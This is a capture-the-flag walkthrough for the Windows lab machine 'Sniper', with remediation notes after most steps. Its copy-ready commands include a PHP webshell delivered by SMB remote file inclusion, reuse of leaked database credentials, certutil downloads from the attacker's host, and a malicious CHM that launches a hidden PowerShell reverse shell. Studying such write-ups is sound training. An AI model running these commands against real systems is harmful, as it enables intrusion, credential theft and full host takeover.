← all walkthroughs

Sniper

Windows· Medium· Web
owned
2026-07-08
time to own
19m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target sniper ($TARGET) ran a PHP blog application on IIS 10.0 whose lang GET parameter was passed raw to a PHP file-inclusion call. The parameter accepted UNC network paths as well as local ones, escalating a path-traversal read into full Remote File Inclusion: an me-hosted PHP webshell served over SMB executed code as the IIS service account.

A web-accessible PHP configuration file contained hardcoded MySQL credentials, and that same password was reused as the Windows login for local account Sniper\Chris. RunasCs.exe — staged via certutil — provided a stable interactive shell as Chris.

Deeper enumeration revealed a monitored drop folder (C:\Docs) where an Administrator-context scheduled process automatically opens any CHM file placed there with hh.exe. A purpose-built malicious CHM embedding an ActiveX ShortCut object that spawned a hidden PowerShell reverse shell was delivered via certutil and triggered by the privileged process, yielding Administrator command execution and full system control.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceActive network scanning and service fingerprinting (T1046)
Mapped open services and identified the PHP blog application
A port scan identified five open TCP ports: 80 (IIS 10.0 / PHP 7.3.1), 135/139/445 (SMB/NetBIOS RPC), and a high ephemeral port. Browsing to port 80 surfaced a PHP blog application at /blog/ whose index.php accepted a lang GET parameter — a pattern associated with file-inclusion vulnerabilities.
Exact commands 2
Version and default-script scan against all open ports.
nmap -sV -sC -p 80,135,139,445,49667 $TARGET -oN sniper_nmap.txt
Confirm the blog application and the lang GET parameter.
curl -sS -i http://$TARGET/blog/
2EnumerationLocal File Inclusion / Path Traversal (CWE-22 / T1083)
Confirmed Local File Inclusion via path traversal on the lang parameter
Supplying a directory traversal sequence as the lang value caused the application to open and return the contents of an arbitrary local file. Reading the Windows win.ini system file confirmed that user-supplied paths reached PHP's file-inclusion call without any sanitisation or whitelist check.
Curl 'http://$TARGET/blog/index.php?lang=../../../../../../../../windows/win.ini' returned the [fonts] section of win.ini.
Exact commands 1
Path-traversal PoC; a [fonts] header in the response confirms LFI.
curl -sS "http://$TARGET/blog/index.php?lang=../../../../../../../../windows/win.ini"
FixEliminate user-controlled file paths in the blog application's include logicCritical
WeaknessThe lang GET parameter was passed without sanitisation to a PHP file-inclusion function. PHP on Windows accepts UNC paths (\\host\share\file) in include calls, so an unauthorised user could point the parameter at an externally controlled SMB share and have the server fetch and execute arbitrary PHP code over the network.
FixReplace the dynamic include with a strict whitelist: maintain an explicit map of valid language identifiers (e.g. 'en', 'fr') to their template paths, reject any input not in the map, and never pass raw user input to include(), require(), or equivalent. In php.ini, set allow_url_include = Off and allow_url_fopen = Off. Configure Windows Firewall to block outbound SMB (TCP 445) from the IIS application pool identity to prevent UNC-path fetches even if the code is fixed later.
3ExploitationRemote File Inclusion via SMB UNC path (CWE-98 / T1190)
Escalated LFI to Remote Code Execution via an SMB-hosted PHP webshell
On Windows, PHP's file-inclusion functions honour UNC paths (\\server\share\file). By hosting a one-line PHP webshell on my own SMB server and supplying its UNC path as the lang value, the IIS application fetched and executed the remote PHP file, granting arbitrary OS command execution as the IIS service account NT AUTHORITY\IUSR.
POST lang=//$ATTACKER_IP/share/cmd.php&cmd=whoami returned 'nt authority\iusr'.
Exact commands 2
Create the webshell and serve it over SMB; run in a dedicated terminal.
mkdir /tmp/sniper_rfi && printf '<?php system($_REQUEST["cmd"]); ?>' > /tmp/sniper_rfi/cmd.php && cd /tmp/sniper_rfi && impacket-smbserver share . -smb2support
Trigger RFI; expected response contains 'nt authority\iusr'.
curl -sS -X POST --data-urlencode 'cmd=whoami' "http://$TARGET/blog/?lang=//$ATTACKER_IP/share/cmd.php"
4Credential AccessCredentials in plaintext source file (T1552.001)
Extracted hardcoded database credentials from a web-accessible PHP source file
With arbitrary command execution via the webshell, the IIS web root was enumerated. The file C:\inetpub\wwwroot\user\db.php contained a MySQL connection string with the plaintext username dbuser and password [REDACTED: recovered credential] embedded directly in source code — readable by anyone who could reach the file through the LFI.
Cmd=type C:\inetpub\wwwroot\user\db.php via webshell returned the MySQL $dbpass value [REDACTED: recovered credential]
Exact commands 1
Read the PHP database config; look for the $dbpass variable.
curl -sS -X POST --data-urlencode 'cmd=type C:\inetpub\wwwroot\user\db.php' "http://$TARGET/blog/?lang=//$ATTACKER_IP/share/cmd.php"
FixRemove hardcoded credentials from web-accessible PHP source filesHigh
WeaknessDatabase connection credentials were stored in plaintext inside a PHP file (db.php) located within the IIS web root. Any file-read vulnerability — including the LFI on the same host — immediately exposed live database credentials to unauthenticated unauthorised users.
FixMove all secrets out of source code and into environment variables or a secrets manager (e.g., Windows DPAPI-protected IIS application settings, Azure Key Vault, or HashiCorp Vault). Read credentials at application startup from the environment, never from files inside the web root. Rotate the current database password immediately and audit database access logs for unauthorised queries.
5Lateral MovementCredential reuse across service and OS accounts (T1078.003)
Reused the database password to authenticate as Windows user Chris
The extracted database password was tested against the SMB service for known local account names. The credential [REDACTED: recovered credential] matched the Windows login for Sniper\Chris, confirming that the developer reused the application's database password as the operating-system account password.
Nxc smb $TARGET -u Chris -p '[REDACTED: recovered credential]' returned [+] sniper\chris — pwned.
Exact commands 1
Validate the DB password against SMB; [+] result confirms the account is valid.
nxc smb $TARGET -u Chris -p "$PASSWORD" --shares
FixEnforce unique passwords for every account — stop reusing application passwords as OS login passwordsHigh
WeaknessThe password stored in db.php was identical to the Windows login password for local account Sniper\Chris. Extracting one credential automatically granted a completely separate authentication path — Windows SMB login — at zero additional cost to an unauthorised user.
FixEnforce a policy that every account (service accounts, database accounts, OS user accounts) holds a unique, randomly generated password of at least 16 characters. Store them in a privileged access management (PAM) tool or password vault. As an immediate measure, reset Chris's Windows password and the database account password to separate values, enable Windows event-log auditing for account logon events (4624/4625), and consider disabling the Chris account if it is only needed as a service identity.
6FootholdToken-based user impersonation via RunasCs (T1134.002)
Gained command execution as Chris via RunasCs.exe and read the user flag
RunasCs.exe — a utility that spawns a process under a specified Windows identity without an interactive logon — was downloaded from my own HTTP server to C:\Windows\Temp via certutil and invoked through the IUSR webshell. This provided reliable execution as Sniper\Chris, and user.txt was read from Chris's desktop.
RunasCs.exe Chris '[REDACTED: recovered credential]' 'cmd /c type C:\Users\Chris\Desktop\user.txt' returned the user flag via the webshell POST.
Exact commands 2
Stage RunasCs.exe to a writable system path via certutil.
curl -sS -X POST --data-urlencode "cmd=certutil -urlcache -f http://$ATTACKER_IP:9000/win/RunasCs.exe C:\Windows\Temp\RunasCs.exe" "http://$TARGET/blog/?lang=//$ATTACKER_IP/share/cmd.php"
Execute as Chris and read user.txt; expected output: <user.txt>.
curl -sS --max-time 25 -X POST --data-urlencode 'cmd=C:\Windows\Temp\RunasCs.exe Chris "$PASSWORD" "cmd /c type C:\Users\Chris\Desktop\user.txt"' "http://$TARGET/blog/?lang=//$ATTACKER_IP/share/cmd.php"
7Privilege EscalationCompiled HTML Help proxy execution in a privileged drop folder (T1218.001)
Delivered a malicious CHM to an Administrator-monitored drop folder and obtained a root shell
Enumeration as Chris found C:\Docs\note.txt referencing pending documentation review — a strong signal that a privileged automated process monitors C:\Docs and opens CHM files placed there using hh.exe (Windows HTML Help). A malicious CHM was built on Kali with chmcmd (Free Pascal fp-utils) embedding an ActiveX ShortCut object (CLSID adb880a6-d8ff-11cf-9377-00aa003b7a11) whose command parameter executed a hidden PowerShell TCP reverse shell back to me. The CHM was delivered into C:\Docs via certutil, executed as Chris through RunasCs. The Administrator-context hh.exe process opened the file, fired the payload, and connected to an ncat listener — yielding a shell as BUILTIN\Administrators and access to root.txt.
Dir C:\Docs showed documentation.chm (11,258 bytes, 07/08/2026 06:51 PM); ncat listener caught Administrator shell; type C:\Users\Administrator\Desktop\root.txt returned <root.txt>.
Exact commands 7
Read the drop-folder note as Chris to confirm the privileged review workflow.
curl -sS -X POST --data-urlencode 'cmd=C:\Windows\Temp\RunasCs.exe Chris "$PASSWORD" "cmd /c type C:\Docs\note.txt"' "http://$TARGET/blog/?lang=//$ATTACKER_IP/share/cmd.php"
Create the CHM HTML page with the embedded ActiveX shortcut; replace IP/port with your listener values.
mkdir chm_build && cat > chm_build/doc.htm << 'EOF'
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="ShortCut">
<PARAM name="Item1" value=",cmd.exe,/c powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -c \"$c=New-Object Net.Sockets.TCPClient('$ATTACKER_IP',5555);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$rb=[text.encoding]::ASCII.GetBytes($r);$s.Write($rb,0,$rb.Length)}\"">
</OBJECT>
EOF
Write the CHM project file and compile; requires fp-utils (apt install fp-utils). Output: documentation.chm.
cat > chm_build/doc.hhp << 'EOF'
[OPTIONS]
Compiled file=documentation.chm
Default Topic=doc.htm
[FILES]
doc.htm
EOF
cd chm_build && /usr/bin/chmcmd doc.hhp
Serve the compiled CHM over HTTP (run in background before delivery).
cd chm_build && python3 -m http.server 8010
Start the reverse-shell listener before triggering the drop.
ncat -lvnp 5555
Deliver the malicious CHM as Chris into the monitored folder; the privileged hh.exe process opens it automatically.
curl -sS -X POST --data-urlencode 'cmd=C:\Windows\Temp\RunasCs.exe Chris "$PASSWORD" "cmd /c certutil -urlcache -f http://$ATTACKER_IP:8010/documentation.chm C:\Docs\documentation.chm"' "http://$TARGET/blog/?lang=//$ATTACKER_IP/share/cmd.php"
Run on the caught reverse shell to confirm Administrator access and read root.txt (<root.txt>).
whoami && hostname && type C:\Users\Administrator\Desktop\root.txt
FixRemove or harden the Administrator-context process that auto-opens files from C:\DocsCritical
WeaknessA scheduled task or service running as Administrator automatically opened every CHM file placed in C:\Docs using hh.exe. The local user Chris had write access to that folder, so dropping a crafted file there was sufficient to execute arbitrary code as Administrator — a direct privilege escalation from a standard user account.
FixIf the review workflow is no longer needed, delete the scheduled task and restrict write access on C:\Docs to administrators only. If the workflow must remain: (1) run the reviewing process as a dedicated low-privilege service account, not Administrator or SYSTEM; (2) restrict write access to C:\Docs so only authorised identities (not Chris or IUSR) can place files there; (3) block hh.exe execution via AppLocker or Windows Defender Application Control; (4) scan files with antivirus before opening. Consider replacing the drop-folder model with a formal document management system that does not auto-execute received files.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

Exposed services

80/tcp
135/tcp
139/tcp
445/tcp
49667/tcp